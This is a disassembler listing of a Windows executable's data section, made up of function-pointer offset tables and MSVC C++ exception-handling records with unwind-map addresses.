off_43E08C	dd offset loc_401F1E	; DATA XREF: sub_417FD0+3Eo
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_10. PRESS	KEYPAD "+" TO EXPAND]
		db 1Fh,	40h, 0
off_43E094	dd offset loc_401FD7	; DATA XREF: sub_418080+3Eo
off_43E098	dd offset sub_401E4C	; DATA XREF: sub_418100+3Eo
off_43E09C	dd offset loc_40100A	; DATA XREF: sub_418180+10o
off_43E0A0	dd offset loc_4010B4	; DATA XREF: sub_4181B0+4Bo
off_43E0A4	dd offset sub_401BA4	; DATA XREF: sub_418230+10o
off_43E0A8	dd offset sub_401712	; DATA XREF: sub_418260+10o
off_43E0AC	dd offset sub_401613	; DATA XREF: ___:004182FBo
dbl_43E0B0	dq -3.0517578125e-5	; DATA XREF: sub_4198C0+22r
		dd 0
off_43E0BC	dd offset sub_401AF5	; DATA XREF: sub_41A010+Bo
					; sub_41A110+6o
off_43E0C0	dd offset sub_401E74	; DATA XREF: sub_41AFE0+Do sub_41B040o
off_43E0C4	dd offset loc_4013FC	; DATA XREF: ___:0041B3A2o
					; ___:0041B48Do
		dd offset sub_40167C
		align 10h
off_43E0D0	dd offset loc_4019E7	; DATA XREF: sub_41D670+77o
					; sub_41D760+1Do
		dd offset sub_401C80
		dd 0
off_43E0DC	dd offset sub_4011FE	; DATA XREF: sub_426450+32o
		dd offset sub_401A64
		dd offset sub_401A41
		dd 0
off_43E0EC	dd offset loc_4016D1	; DATA XREF: sub_4264C0+6Ao
					; sub_426560+1Do
		dd offset sub_401A64
		dd offset byte_4367D0
		dd 0
off_43E0FC	dd offset loc_401AAF	; DATA XREF: sub_4269A0+32o
		dd offset sub_401A64
		dd offset sub_401366
		dd 0
off_43E10C	dd offset sub_40181B	; DATA XREF: sub_426EB0+32o
		dd offset sub_401A64
		dd offset sub_401E92
		dd 0
off_43E11C	dd offset sub_40222A	; DATA XREF: sub_427590+32o
		dd offset sub_401A64
		dd offset sub_401A05
		dd 0
off_43E12C	dd offset sub_401C2B	; DATA XREF: sub_427DC0+32o
		dd offset sub_4021A8
		dd offset sub_4015AF
		dd 0
off_43E13C	dd offset loc_402068	; DATA XREF: sub_427E30+7Ao
					; sub_427EF0+1Do
		dd offset sub_4021A8
		dd offset byte_4367D0
		dd 0
off_43E14C	dd offset sub_4021B2	; DATA XREF: sub_428160+4Bo
					; sub_428250+10o
		dd offset sub_4021A8
		dd offset sub_401D2A
		dd 0
off_43E15C	dd offset loc_40112C	; DATA XREF: sub_4299C0+32o
					; sub_429A60+9o
		dd offset sub_4021A8
		dd offset sub_40137A
		dd 0
off_43E16C	dd offset loc_401B04	; DATA XREF: sub_429D00+32o
		dd offset sub_4021A8
		dd offset sub_4010AF
		dd 0
off_43E17C	dd offset sub_4017A8	; DATA XREF: sub_42A090+32o
		dd offset sub_4021A8
		dd offset sub_40188E
		dd 0
off_43E18C	dd offset sub_4020D1	; DATA XREF: sub_42B1D0+27o
dword_43E190	dd 0				dd 8, 0
off_43E19C	dd offset byte_4367D0	; DATA XREF: sub_42B240+39o
off_43E1A0	dd offset sub_401F41	; DATA XREF: ___:0042B312o
		dd offset sub_4021A8
		dd offset sub_40134D
		align 10h
off_43E1B0	dd offset sub_401B22	; DATA XREF: sub_42B480+32o
		dd offset sub_4021A8
		dd offset sub_40152D
		align 10h
		dd offset loc_4015F0
		dd offset sub_4021A8
		dd offset sub_4019E2
		align 10h
		dd offset dword_43E348
off_43E1D4	dd offset loc_436811	; DATA XREF: ___:00436808o
					; ___:off_4438C0o ...
		dd 0FFFFFFFFh, 436BACh,	436BC0h, 4Dh dup(0)
off_43E318	dd offset off_446CE0	; DATA XREF: ___:0043E330o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_43E318
		dd 0
		db    0			; DATA XREF: ___:0043E358o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 1, 43E330h
dword_43E348	dd 3 dup(0)			dd offset off_446CE0
		dd offset unk_43E338
		dd 45h dup(0)
dword_43E470	dd 19930520h, 5, 43E490h, 5 dup(0)		dd 0FFFFFFFFh, 437B2Ch,	0
		dd offset dword_436FD0+0B30h
		dd 1, 437B0Bh, 2, 437B16h, 3, 437B21h, 2 dup(0)
dword_43E4C0	dd 19930520h, 3Dh, 43E4E0h, 5 dup(0)		dd 0FFFFFFFFh, 437B70h,	0
		dd offset loc_437B7B
		dd 1, 437B86h, 2, 437B94h, 3, 437BA2h, 4, 437BB0h, 5, 437BBEh
		dd 6, 437BCCh, 7, 437BDAh, 8, 437BE8h, 9, 437BF6h, 0Ah
		dd 437C04h, 0Bh, 437C12h, 0Ch, 437C20h,	0Dh, 437C2Eh, 0Eh
		dd 437C3Ch, 0Fh, 437C4Ah, 10h, 437C58h,	11h, 437C66h, 12h
		dd 437C74h, 13h, 437C82h, 14h, 437C90h,	15h, 437C9Eh, 16h
		dd 437CACh, 17h, 437CBAh, 18h, 437CC8h,	19h, 437CD6h, 1Ah
		dd 437CE4h, 1Bh, 437CF2h, 1Ch, 437D00h,	1Dh, 437D0Eh, 1Eh
		dd 437D1Ch, 1Fh, 437D2Ah, 20h, 437D38h,	21h, 437D46h, 22h
		dd 437D54h, 23h, 437D62h, 24h, 437D70h,	25h, 437D7Eh, 26h
		dd 437D8Ch, 27h, 437D9Ah, 28h, 437DA8h,	29h, 437DB6h, 2Ah
		dd 437DC4h, 2Bh, 437DD2h, 2Ch, 437DE0h,	2Dh, 437DEEh, 2Eh
		dd 437DFCh, 2Fh, 437E0Ah, 30h, 437E18h,	31h, 437E26h, 32h
		dd 437E34h, 33h, 437E42h, 34h, 437E50h,	35h, 437E5Eh, 36h
		dd 437E6Ch, 37h, 437E7Ah, 38h, 437E88h,	39h, 437E96h, 3Ah
		dd 437EA4h, 3Bh, 437EB2h, 0Eh dup(0)
dword_43E700	dd 19930520h, 1, 43E720h, 5 dup(0)		dd 0FFFFFFFFh, 437FA0h,	2 dup(0)
dword_43E730	dd 19930520h, 2, 43E750h, 5 dup(0)		dd 0FFFFFFFFh, 437FC0h,	0
		dd offset loc_437FC8
		dd 2 dup(0)
dword_43E768	dd 19930520h, 2, 43E788h, 5 dup(0)		dd 0FFFFFFFFh, 437FF0h,	0
		dd offset loc_437FF8
		align 10h
dword_43E7A0	dd 19930520h, 1, 43E7C0h, 5 dup(0)		dd 0FFFFFFFFh, 438020h,	2 dup(0)
dword_43E7D0	dd 19930520h, 7, 43E7F0h, 5 dup(0)		dd 0FFFFFFFFh, 438040h,	0
		dd offset loc_438048
		dd 1, 438053h, 2, 438061h, 3, 43806Fh, 4, 43807Dh, 5, 43808Bh
		dd 2 dup(0)
dword_43E830	dd 19930520h, 7, 43E850h, 5 dup(0)		dd 0FFFFFFFFh, 4380C0h,	0
		dd offset loc_4380C8
		dd 1, 4380D3h, 2, 4380E1h, 3, 4380EFh, 4, 4380FDh, 5, 43810Bh
		dd 2 dup(0)
dword_43E890	dd 19930520h, 11h, 43E8B0h, 5 dup(0)		dd 0FFFFFFFFh, 438140h,	0FFFFFFFFh, 438148h, 0FFFFFFFFh
		dd 438150h, 0FFFFFFFFh,	438158h, 0FFFFFFFFh, 438160h, 0FFFFFFFFh
		dd 438168h, 0FFFFFFFFh,	438170h, 0FFFFFFFFh, 438178h, 0FFFFFFFFh
		dd 438180h, 0FFFFFFFFh,	438188h, 0FFFFFFFFh, 438190h, 0FFFFFFFFh
		dd 438198h, 0FFFFFFFFh,	4381A0h, 0FFFFFFFFh, 4381A8h, 0FFFFFFFFh
		dd 4381B0h, 0Eh, 4381B8h, 0Eh, 4381C0h,	4 dup(0)
dword_43E948	dd 19930520h, 0Bh, 43E968h, 5 dup(0)		dd 0FFFFFFFFh, 438200h,	0
		dd offset loc_438208
		dd 0FFFFFFFFh, 438210h,	2, 438218h, 0FFFFFFFFh,	438220h
		dd 0FFFFFFFFh, 438228h,	0FFFFFFFFh, 438230h, 0FFFFFFFFh
		dd 438238h, 7, 438243h,	7, 43824Bh, 9, 438253h,	4 dup(0)
dword_43E9D0	dd 19930520h, 31h, 43E9F0h, 5 dup(0)		dd 0FFFFFFFFh, 438280h,	0
		dd offset loc_43828B
		dd 0
		dd offset loc_438296
		dd 0FFFFFFFFh, 4382A1h,	0FFFFFFFFh, 4382ACh, 4,	4382B7h
		dd 0FFFFFFFFh, 4382C2h,	6, 4382CDh, 6, 4382D8h,	8, 4382E3h
		dd 0FFFFFFFFh, 4382EEh,	0Ah, 4382F9h, 0Ah, 438304h, 0Ah
		dd 43830Fh, 0Ah, 43831Ah, 0Ah, 438325h,	0Ah, 438330h, 0FFFFFFFFh
		dd 43833Bh, 11h, 438346h, 11h, 438351h,	0FFFFFFFFh, 43835Ch
		dd 0FFFFFFFFh, 438367h,	15h, 438372h, 0FFFFFFFFh, 43837Dh
		dd 0FFFFFFFFh, 438388h,	18h, 438393h, 0FFFFFFFFh, 43839Eh
		dd 0FFFFFFFFh, 4383A9h,	0FFFFFFFFh, 4383B4h, 0FFFFFFFFh
		dd 4383BFh, 1Dh, 4383CAh, 1Dh, 4383D5h,	1Dh, 4383E0h, 1Dh
		dd 4383EBh, 1Dh, 4383F6h, 22h, 438401h,	22h, 43840Ch, 22h
		dd 438417h, 22h, 438422h, 22h, 43842Dh,	22h, 438438h, 22h
		dd 438443h, 22h, 43844Eh, 22h, 438459h,	22h, 438464h, 22h
		dd 43846Fh, 22h, 43847Ah, 22h, 438485h,	22h, 438490h, 0Ch dup(0)
dword_43EBA8	dd 19930520h, 2, 43EBC8h, 5 dup(0)		dd 0FFFFFFFFh, 438538h,	0
		dd offset loc_438530
		align 10h
dword_43EBE0	dd 19930520h, 2, 43EC00h, 5 dup(0)		dd 0FFFFFFFFh, 43857Bh,	0
		dd offset loc_438570
		dd 2 dup(0)
dword_43EC18	dd 19930520h, 3, 43EC38h, 5 dup(0)		dd 0FFFFFFFFh, 4385B0h,	0
		dd offset loc_4385BB
		dd 0
		dd offset loc_4385C6
		dd 2 dup(0)
dword_43EC58	dd 19930520h, 1, 43EC78h, 5 dup(0)		dd 0FFFFFFFFh, 4385F0h,	2 dup(0)
dword_43EC88	dd 19930520h, 1, 43ECA8h, 5 dup(0)		dd 0FFFFFFFFh, 438610h,	2 dup(0)
dword_43ECB8	dd 19930520h, 2, 43ECD8h, 5 dup(0)		dd 0FFFFFFFFh, 438630h,	0
		dd offset loc_438638
		align 10h
dword_43ECF0	dd 19930520h, 56h, 43ED10h, 5 dup(0)		dd 0FFFFFFFFh, 438650h,	0
		dd offset loc_43865B
		dd 1, 438666h, 2, 438671h, 3, 43867Ch, 4, 438687h, 5, 438692h
		dd 6, 43869Dh, 7, 4386A8h, 8, 4386B3h, 9, 4386BBh, 0Ah
		dd 4386C3h, 0Bh, 4386CEh, 0Ch, 4386D6h,	0Dh, 4386DEh, 0Eh
		dd 4386E9h, 0Fh, 4386F4h, 10h, 4386FFh,	11h, 43870Ah, 12h
		dd 438715h, 13h, 438720h, 14h, 43872Bh,	15h, 438736h, 16h
		dd 438741h, 17h, 43874Ch, 18h, 438757h,	19h, 438762h, 1Ah
		dd 43876Dh, 1Bh, 438778h, 1Ch, 438783h,	1Dh, 43878Eh, 1Eh
		dd 438799h, 1Eh, 4387A4h, 1Eh, 4387AFh,	1Eh, 4387BAh, 1Eh
		dd 4387C5h, 1Eh, 4387D0h, 1Eh, 4387DBh,	1Eh, 4387E6h, 1Eh
		dd 4387F1h, 27h, 4387FCh, 1Eh, 4387FCh,	1Eh, 438807h, 2Ah
		dd 438812h, 1Eh, 438812h, 1Eh, 43881Dh,	2Dh, 438828h, 1Eh
		dd 438828h, 1Eh, 438833h, 30h, 43883Eh,	1Eh, 43883Eh, 1Eh
		dd 438849h, 33h, 438854h, 1Eh, 438854h,	1Eh, 43885Fh, 36h
		dd 43886Ah, 1Eh, 43886Ah, 1Eh, 438875h,	39h, 438880h, 1Eh
		dd 438880h, 1Eh, 43888Bh, 3Ch, 438896h,	1Eh, 438896h, 1Eh
		dd 4388A1h, 3Fh, 4388ACh, 1Eh, 4388ACh,	1Eh, 4388B7h, 42h
		dd 4388C2h, 1Eh, 4388C2h, 1Eh, 4388CDh,	45h, 4388D8h, 1Eh
		dd 4388D8h, 1Eh, 4388E3h, 48h, 4388EEh,	1Eh, 4388EEh, 1Eh
		dd 4388F9h, 4Bh, 438904h, 1Eh, 438904h,	1Eh, 43890Fh, 4Eh
		dd 43891Ah, 1Eh, 43891Ah, 1Eh, 438925h,	51h, 438930h, 52h
		dd 43893Bh, 53h, 438946h, 54h, 438951h,	13h dup(0)
		dd offset off_4438C0
		dd 0
		dd 0FFFFFFFFh, 0
		dd 0Ch,	436800h, 2 dup(0)
		dd offset off_4438E0
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	436C2Ah, 2 dup(0)
		dd offset off_443908
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	436C30h, 0
dword_43F068	dd 3, 43F048h, 43F028h,	43F008h, 2 dup(0)dword_43F080	dd 0							; ___:0040A997o
		dd offset dword_436BD4+62h
		dd 0
		dd offset dword_43F068
		dd 2 dup(0)
dword_43F098	dd 19930520h, 1, 43F0B8h, 5 dup(0)		dd 0FFFFFFFFh, 438A30h,	2 dup(0)
dword_43F0C8	dd 19930520h, 1, 43F0E8h, 5 dup(0)		dd 0FFFFFFFFh, 438A50h,	2 dup(0)
dword_43F0F8	dd 19930520h, 3, 43F118h, 5 dup(0)		dd 0FFFFFFFFh, 438A70h,	0
		dd offset loc_438A87
		dd 1, 438A8Fh, 2 dup(0)
dword_43F138	dd 19930520h, 1, 43F158h, 5 dup(0)		dd 0FFFFFFFFh, 438AB0h,	2 dup(0)
dword_43F168	dd 19930520h, 2, 43F188h, 1, 43F198h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 43F1B0h, 4	dup(0)
		dd offset sub_40AE52
		dd 2 dup(0)
dword_43F1C8	dd 19930520h, 2, 43F1E8h, 1, 43F1F8h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 43F210h, 4	dup(0)
		dd offset sub_40AFD1
		dd 2 dup(0)
dword_43F228	dd 19930520h, 4, 43F248h, 5 dup(0)		dd 0FFFFFFFFh, 438AF0h,	0
		dd offset loc_438AFB
		dd 1, 438B06h, 2, 438B11h, 2 dup(0)
dword_43F270	dd 19930520h, 4, 43F290h, 5 dup(0)		dd 0FFFFFFFFh, 438B40h,	0
		dd offset loc_438B4B
		dd 1, 438B56h, 2, 438B61h, 2 dup(0)
dword_43F2B8	dd 19930520h, 3, 43F2D8h, 5 dup(0)		dd 0FFFFFFFFh, 438B90h,	0FFFFFFFFh, 438B98h, 0FFFFFFFFh
		dd 438BA0h, 2 dup(0)
dword_43F2F8	dd 19930520h, 3, 43F318h, 5 dup(0)		dd 0FFFFFFFFh, 438BC0h,	0
		dd offset loc_438BC8
		dd 1, 438BD0h, 2 dup(0)
dword_43F338	dd 19930520h, 1, 43F358h, 5 dup(0)		dd 0FFFFFFFFh, 438BF0h,	2 dup(0)
dword_43F368	dd 19930520h, 4, 43F388h, 5 dup(0)		dd 0FFFFFFFFh, 438C10h,	0FFFFFFFFh, 438C18h, 0FFFFFFFFh
		dd 438C20h, 2, 438C28h,	2 dup(0)
dword_43F3B0	dd 19930520h, 1, 43F3D0h, 5 dup(0)		dd 0FFFFFFFFh, 438C50h,	2 dup(0)
dword_43F3E0	dd 19930520h, 4, 43F400h, 5 dup(0)		dd 0FFFFFFFFh, 438C70h,	0
		dd offset loc_438C7B
		dd 0
		dd offset loc_438C86
		dd 2, 438C91h, 2 dup(0)
dword_43F428	dd 19930520h, 1, 43F448h, 5 dup(0)		dd 0FFFFFFFFh, 438CC0h,	2 dup(0)
dword_43F458	dd 19930520h, 5, 43F478h, 5 dup(0)		dd 0FFFFFFFFh, 438CE0h,	0
		dd offset loc_438CEB
		dd 0
		dd offset loc_438CF6
		dd 0
		dd offset loc_438D01
		dd 0
		dd offset loc_438D0C
		dd 2 dup(0)
dword_43F4A8	dd 19930520h, 2, 43F4C8h, 5 dup(0)		dd 0FFFFFFFFh, 438D40h,	0
		dd offset loc_438D4B
		align 10h
dword_43F4E0	dd 19930520h, 2, 43F500h, 5 dup(0)		dd 0FFFFFFFFh, 438D70h,	0
		dd offset loc_438D7B
		dd 2 dup(0)
dword_43F518	dd 19930520h, 4, 43F538h, 5 dup(0)		dd 0FFFFFFFFh, 438DA0h,	0FFFFFFFFh, 438DA8h, 0FFFFFFFFh
		dd 438DB0h, 0FFFFFFFFh,	438DB8h, 2 dup(0)
dword_43F560	dd 19930520h, 8, 43F580h, 5 dup(0)		dd 0FFFFFFFFh, 438DE0h,	0
		dd offset loc_438DEB
		dd 1, 438DF6h, 1, 438E01h, 1, 438E0Ch, 1, 438E17h, 1, 438E22h
		dd 1, 438E2Dh, 4 dup(0)
dword_43F5D0	dd 19930520h, 0Dh, 43F5F0h, 5 dup(0)		dd 0FFFFFFFFh, 438E60h,	0FFFFFFFFh, 438E6Bh, 1,	438E76h
		dd 2, 438E81h, 3, 438E8Ch, 4, 438E97h, 5, 438EA2h, 6, 438EADh
		dd 7, 438EB8h, 8, 438EC3h, 9, 438ECEh, 0Ah, 438ED9h, 0Bh
		dd 438EE4h, 4 dup(0)
dword_43F668	dd 19930520h, 6, 43F688h, 5 dup(0)		dd 0FFFFFFFFh, 438F20h,	0
		dd offset loc_438F28
		dd 1, 438F30h, 2, 438F38h, 2, 438F40h, 2, 438F48h, 2 dup(0)
dword_43F6C0	dd 19930520h, 6, 43F6E0h, 5 dup(0)		dd 0FFFFFFFFh, 438F70h,	0
		dd offset loc_438F78
		dd 1, 438F80h, 2, 438F88h, 2, 438F90h, 2, 438F98h, 2 dup(0)
dword_43F718	dd 19930520h, 3, 43F738h, 5 dup(0)		dd 0FFFFFFFFh, 438FC0h,	0
		dd offset loc_438FC8
		dd 1, 438FD0h, 2 dup(0)
dword_43F758	dd 19930520h, 1, 43F778h, 5 dup(0)		dd 0FFFFFFFFh, 438FF0h,	2 dup(0)
dword_43F788	dd 19930520h, 7, 43F7A8h, 5 dup(0)		dd 0FFFFFFFFh, 439010h,	0
		dd offset loc_439018
		dd 0FFFFFFFFh, 439020h,	0FFFFFFFFh, 439028h, 3,	439030h
		dd 4, 439038h, 0FFFFFFFFh, 439040h, 2 dup(0)
dword_43F7E8	dd 19930520h, 24h, 43F808h, 5 dup(0)		dd 0FFFFFFFFh, 439070h,	0
		dd offset loc_439078
		dd 1, 439083h, 2, 43908Eh, 3, 439099h, 4, 4390A7h, 5, 4390B5h
		dd 6, 4390C3h, 7, 4390D1h, 8, 4390DFh, 9, 4390EDh, 0Ah
		dd 4390FBh, 0Bh, 439109h, 0Ch, 439117h,	0Dh, 439125h, 0Eh
		dd 439133h, 0Fh, 439141h, 10h, 43914Fh,	11h, 43915Dh, 11h
		dd 439165h, 11h, 43916Dh, 11h, 439175h,	11h, 43917Dh, 11h
		dd 439185h, 11h, 43918Dh, 11h, 439195h,	11h, 43919Dh, 11h
		dd 4391A5h, 11h, 4391ADh, 11h, 4391B5h,	11h, 4391BDh, 11h
		dd 4391C5h, 11h, 4391CDh, 11h, 4391D5h,	11h, 4391DDh, 11h
		dd 4391E5h, 8 dup(0)
dword_43F948	dd 19930520h, 11h, 43F968h, 5 dup(0)		dd 0FFFFFFFFh, 439260h,	0
		dd offset loc_439268
		dd 1, 439273h, 2, 43927Eh, 3, 439289h, 4, 439297h, 5, 4392A5h
		dd 6, 4392B3h, 7, 4392C1h, 8, 4392CFh, 9, 4392DDh, 0Ah
		dd 4392EBh, 0Bh, 4392F9h, 0Ch, 439307h,	0Dh, 439315h, 0Eh
		dd 439323h, 0Fh, 439331h, 4 dup(0)
dword_43FA00	dd 19930520h, 38h, 43FA20h, 5 dup(0)		dd 0FFFFFFFFh, 439390h,	0
		dd offset loc_43939B
		dd 1, 4393A6h, 0
		dd offset loc_4393B1
		dd 0
		dd offset loc_4393BC
		dd 0
		dd offset loc_4393C7
		dd 0
		dd offset loc_4393D2
		dd 0
		dd offset loc_4393DD
		dd 0
		dd offset loc_4393E8
		dd 0
		dd offset loc_4393F3
		dd 9, 4393FEh, 0
		dd offset loc_439409
		dd 0
		dd offset loc_439414
		dd 0
		dd offset loc_43941F
		dd 0
		dd offset loc_43942A
		dd 0Eh,	439435h, 0Eh, 439443h, 0Eh, 439451h, 0Eh, 43945Ch
		dd 0Eh,	43946Ah, 0Eh, 439478h, 0Eh, 439483h, 0Eh, 43948Eh
		dd 0
		dd offset loc_439499
		dd 0
		dd offset loc_4394A4
		dd 0
		dd offset loc_4394B2
		dd 0
; ---------------------------------------------------------------------------
		rcl	byte ptr [ebx+eax*2+1A00h], 0
		retf
; ---------------------------------------------------------------------------
		db 94h,	43h, 0
		dd 1Bh,	4394D6h, 0
		dd offset loc_4394E1
		dd 1Dh,	4394ECh, 0
		dd offset loc_4394F7
		dd 1Fh,	439502h, 0
		dd offset loc_43950D
		dd 0
		dd offset loc_439518
		dd 0
		dd offset loc_439523
		dd 0
		dd offset loc_43952E
		dd 0
		dd offset loc_439539
		dd 25h,	439544h, 26h, 43954Fh, 0
		dd offset loc_43954F
		dd 28h,	439544h, 0
		dd offset loc_43955A
		dd 0
		dd offset loc_439565
		dd 2Bh,	439570h, 2Ch, 43957Bh, 0
		dd offset loc_43957B
		dd 2Eh,	439570h, 2Eh, 439586h, 0
		dd offset loc_439591
		dd 31h,	43959Ch, 0
		dd offset loc_4395A7
		dd 0
		dd offset loc_4395B2
		dd 34h,	4395BDh, 35h, 4395C8h, 34h, 4395C8h, 0Ch dup(0)
dword_43FC10	dd 19930520h, 1, 43FC30h, 5 dup(0)		dd 0FFFFFFFFh, 439670h,	2 dup(0)
dword_43FC40	dd 19930520h, 1, 43FC60h, 5 dup(0)		dd 0FFFFFFFFh, 439690h,	2 dup(0)
dword_43FC70	dd 19930520h, 6, 43FC90h, 5 dup(0)		dd 0FFFFFFFFh, 4396B0h,	0
		dd offset loc_4396B8
		dd 1, 4396C3h, 2, 4396CEh, 3, 4396D9h, 4, 4396E4h, 2 dup(0)
dword_43FCC8	dd 19930520h, 6, 43FCE8h, 5 dup(0)		dd 0FFFFFFFFh, 439710h,	0
		dd offset loc_439718
		dd 1, 439723h, 2, 43972Eh, 3, 439739h, 4, 439744h, 2 dup(0)
dword_43FD20	dd 19930520h, 0Ah, 43FD40h, 5 dup(0)		dd 0FFFFFFFFh, 439770h,	0FFFFFFFFh, 439778h, 0FFFFFFFFh
		dd 439780h, 0FFFFFFFFh,	439788h, 0FFFFFFFFh, 439790h, 0FFFFFFFFh
		dd 439798h, 0FFFFFFFFh,	4397A0h, 0FFFFFFFFh, 4397A8h, 0FFFFFFFFh
		dd 4397B0h, 0FFFFFFFFh,	4397B8h, 4 dup(0)
dword_43FDA0	dd 19930520h, 0Eh, 43FDC0h, 5 dup(0)		dd 0FFFFFFFFh, 4397E0h,	0
		dd offset loc_4397E8
		dd 0FFFFFFFFh, 4397F3h,	0FFFFFFFFh, 4397FBh, 0FFFFFFFFh
		dd 439803h, 0FFFFFFFFh,	43980Bh, 5, 439816h, 0FFFFFFFFh
		dd 43981Eh, 0FFFFFFFFh,	439826h, 0FFFFFFFFh, 43982Eh, 9
		dd 439839h, 0FFFFFFFFh,	439841h, 0Bh, 439849h, 0Ch, 439851h
		dd 4 dup(0)
dword_43FE40	dd 19930520h, 2, 43FE60h, 5 dup(0)		dd 0FFFFFFFFh, 439898h,	0
		dd offset loc_439890
		dd 2 dup(0)
dword_43FE78	dd 19930520h, 2, 43FE98h, 5 dup(0)		dd 0FFFFFFFFh, 4398D0h,	0
		dd offset loc_4398D8
		align 10h
dword_43FEB0	dd 19930520h, 1, 43FED0h, 5 dup(0)		dd 0FFFFFFFFh, 4398F0h,	2 dup(0)
dword_43FEE0	dd 19930520h, 7, 43FF00h, 5 dup(0)		dd 0FFFFFFFFh, 439910h,	0
		dd offset loc_439918
		dd 1, 439923h, 2, 43992Eh, 2, 439936h, 4, 43993Eh, 5, 439946h
		dd 2 dup(0)
dword_43FF40	dd 19930520h, 4, 43FF60h, 5 dup(0)		dd 0FFFFFFFFh, 439970h,	0
		dd offset loc_43997B
		dd 1, 439986h, 2, 439991h, 2 dup(0)
dword_43FF88	dd 19930520h, 4, 43FFA8h, 5 dup(0)		dd 0FFFFFFFFh, 4399C0h,	0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 99h,	43h, 0
		dd 1, 4399D6h, 2, 4399E1h, 2 dup(0)
dword_43FFD0	dd 19930520h, 2, 43FFF0h, 5 dup(0)		dd 0FFFFFFFFh, 439A10h,	0FFFFFFFFh, 439A18h, 2 dup(0)
dword_440008	dd 19930520h, 1, 440028h, 5 dup(0)		dd 0FFFFFFFFh, 439A30h,	2 dup(0)
dword_440038	dd 19930520h, 1, 440058h, 5 dup(0)		dd 0FFFFFFFFh, 439A50h,	2 dup(0)
dword_440068	dd 19930520h, 2, 440088h, 5 dup(0)		dd 0FFFFFFFFh, 439A70h,	0
		dd offset loc_439A78
		align 10h
dword_4400A0	dd 19930520h, 3, 4400C0h, 5 dup(0)		dd 0FFFFFFFFh, 439A90h,	0
		dd offset loc_439A98
		dd 1, 439AA3h, 2 dup(0)
dword_4400E0	dd 19930520h, 3, 440100h, 5 dup(0)		dd 0FFFFFFFFh, 439AD0h,	0
		dd offset loc_439AD8
		dd 1, 439AE0h, 2 dup(0)
dword_440120	dd 19930520h, 1, 440140h, 5 dup(0)		dd 0FFFFFFFFh, 439B00h,	2 dup(0)
dword_440150	dd 19930520h, 4, 440170h, 5 dup(0)		dd 0FFFFFFFFh, 439B20h,	0
		dd offset loc_439B28
		dd 0
		dd offset loc_439B30
		dd 0
		dd offset loc_439B3B
		dd 2 dup(0)
dword_440198	dd 19930520h, 6, 4401B8h, 5 dup(0)		dd 0FFFFFFFFh, 439B60h,	0
		dd offset loc_439B68
		dd 1, 439B70h, 2, 439B78h, 3, 439B80h, 4, 439B88h, 2 dup(0)
dword_4401F0	dd 19930520h, 3, 440210h, 5 dup(0)		dd 0FFFFFFFFh, 439BB0h,	0
		dd offset loc_439BBB
		dd 1, 439BC6h, 2 dup(0)
dword_440230	dd 19930520h, 4, 440250h, 5 dup(0)		dd 0FFFFFFFFh, 439BF0h,	0
		dd offset loc_439BF8
		dd 1, 439C00h, 2, 439C08h, 2 dup(0)
dword_440278	dd 19930520h, 5, 440298h, 5 dup(0)		dd 0FFFFFFFFh, 439C30h,	0
		dd offset loc_439C38
		dd 1, 439C40h, 2, 439C48h, 3, 439C50h, 2 dup(0)
dword_4402C8	dd 19930520h, 4, 4402E8h, 5 dup(0)		dd 0FFFFFFFFh, 439C80h,	0
		dd offset loc_439C88
		dd 1, 439C93h, 2, 439C9Eh, 2 dup(0)
dword_440310	dd 19930520h, 3, 440330h, 5 dup(0)		dd 0FFFFFFFFh, 439CC0h,	0
		dd offset loc_439CC8
		dd 1, 439CD0h, 2 dup(0)
dword_440350	dd 19930520h, 1, 440370h, 5 dup(0)		dd 0FFFFFFFFh, 439CF0h,	2 dup(0)
dword_440380	dd 19930520h, 2, 4403A0h, 5 dup(0)		dd 0FFFFFFFFh, 439D10h,	0
		dd offset loc_439D18
		dd 2 dup(0)
dword_4403B8	dd 19930520h, 2, 4403D8h, 5 dup(0)		dd 0FFFFFFFFh, 439D30h,	0
		dd offset loc_439D38
		align 10h
dword_4403F0	dd 19930520h, 3, 440410h, 5 dup(0)		dd 0FFFFFFFFh, 439D50h,	0
		dd offset loc_439D5B
		dd 1, 439D66h, 2 dup(0)
dword_440430	dd 19930520h, 1, 440450h, 5 dup(0)		dd 0FFFFFFFFh, 439D90h,	2 dup(0)
dword_440460	dd 19930520h, 1, 440480h, 5 dup(0)		dd 0FFFFFFFFh, 439DB0h,	2 dup(0)
dword_440490	dd 19930520h, 4, 4404B0h, 5 dup(0)		dd 0FFFFFFFFh, 439DD0h,	0
		dd offset loc_439DD8
		dd 1, 439DE3h, 2, 439DEEh, 2 dup(0)
dword_4404D8	dd 19930520h, 7, 4404F8h, 5 dup(0)		dd 0FFFFFFFFh, 439E10h,	0FFFFFFFFh, 439E18h, 0FFFFFFFFh
		dd 439E20h, 2, 439E28h,	3, 439E30h, 4, 439E38h,	0FFFFFFFFh
		dd 439E40h, 2 dup(0)
dword_440538	dd 19930520h, 1Bh, 440558h, 5 dup(0)		dd 0FFFFFFFFh, 439E70h,	0
		dd offset loc_439E78
		dd 1, 439E83h, 2, 439E91h, 3, 439E9Fh, 4, 439EADh, 5, 439EBBh
		dd 6, 439EC9h, 7, 439ED7h, 8, 439EE5h, 9, 439EF3h, 0Ah
		dd 439F01h, 0Bh, 439F0Fh, 0Ch, 439F1Dh,	0Dh, 439F2Bh, 0Eh
		dd 439F39h, 0Fh, 439F47h, 10h, 439F55h,	11h, 439F63h, 12h
		dd 439F71h, 13h, 439F7Fh, 14h, 439F8Dh,	15h, 439F9Bh, 16h
		dd 439FA9h, 17h, 439FB7h, 18h, 439FC5h,	19h, 439FD3h, 6	dup(0)
dword_440648	dd 19930520h, 1Bh, 440668h, 5 dup(0)		dd 0FFFFFFFFh, 43A050h,	0
		dd offset loc_43A058
		dd 1, 43A063h, 2, 43A071h, 3, 43A07Fh, 4, 43A08Dh, 5, 43A09Bh
		dd 6, 43A0A9h, 7, 43A0B7h, 8, 43A0C5h, 9, 43A0D3h, 0Ah
		dd 43A0E1h, 0Bh, 43A0EFh, 0Ch, 43A0FDh,	0Dh, 43A10Bh, 0Eh
